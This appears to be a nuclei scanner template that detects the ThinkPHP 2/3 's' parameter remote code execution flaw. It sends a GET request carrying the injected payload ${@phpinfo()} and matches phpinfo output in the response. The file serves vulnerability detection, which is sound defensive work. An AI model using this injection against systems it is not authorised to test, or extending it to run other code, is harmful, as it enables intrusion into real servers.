nuclei-templates/vulnerabilities/thinkphp/thinkphp-2-rce.yaml

28 lines
676 B
YAML
Raw Normal View History

id: thinkphp-2-rce
info:
2021-05-02 06:07:50 +00:00
name: ThinkPHP 2 / 3 's' Parameter RCE
author: dr_set
severity: critical
description: ThinkPHP 2.x version and 3.0 in Lite mode Remote Code Execution.
2021-01-19 07:03:48 +00:00
reference: https://github.com/vulhub/vulhub/tree/0a0bc719f9a9ad5b27854e92bc4dfa17deea25b4/thinkphp/2-rce
tags: thinkphp,rce
requests:
- method: GET
path:
- "{{BaseURL}}/index.php?s=/index/index/name/$%7B@phpinfo()%7D"
matchers-condition: and
matchers:
- type: word
words:
- "PHP Extension"
- "PHP Version"
- "ThinkPHP"
condition: and
- type: status
status:
- 200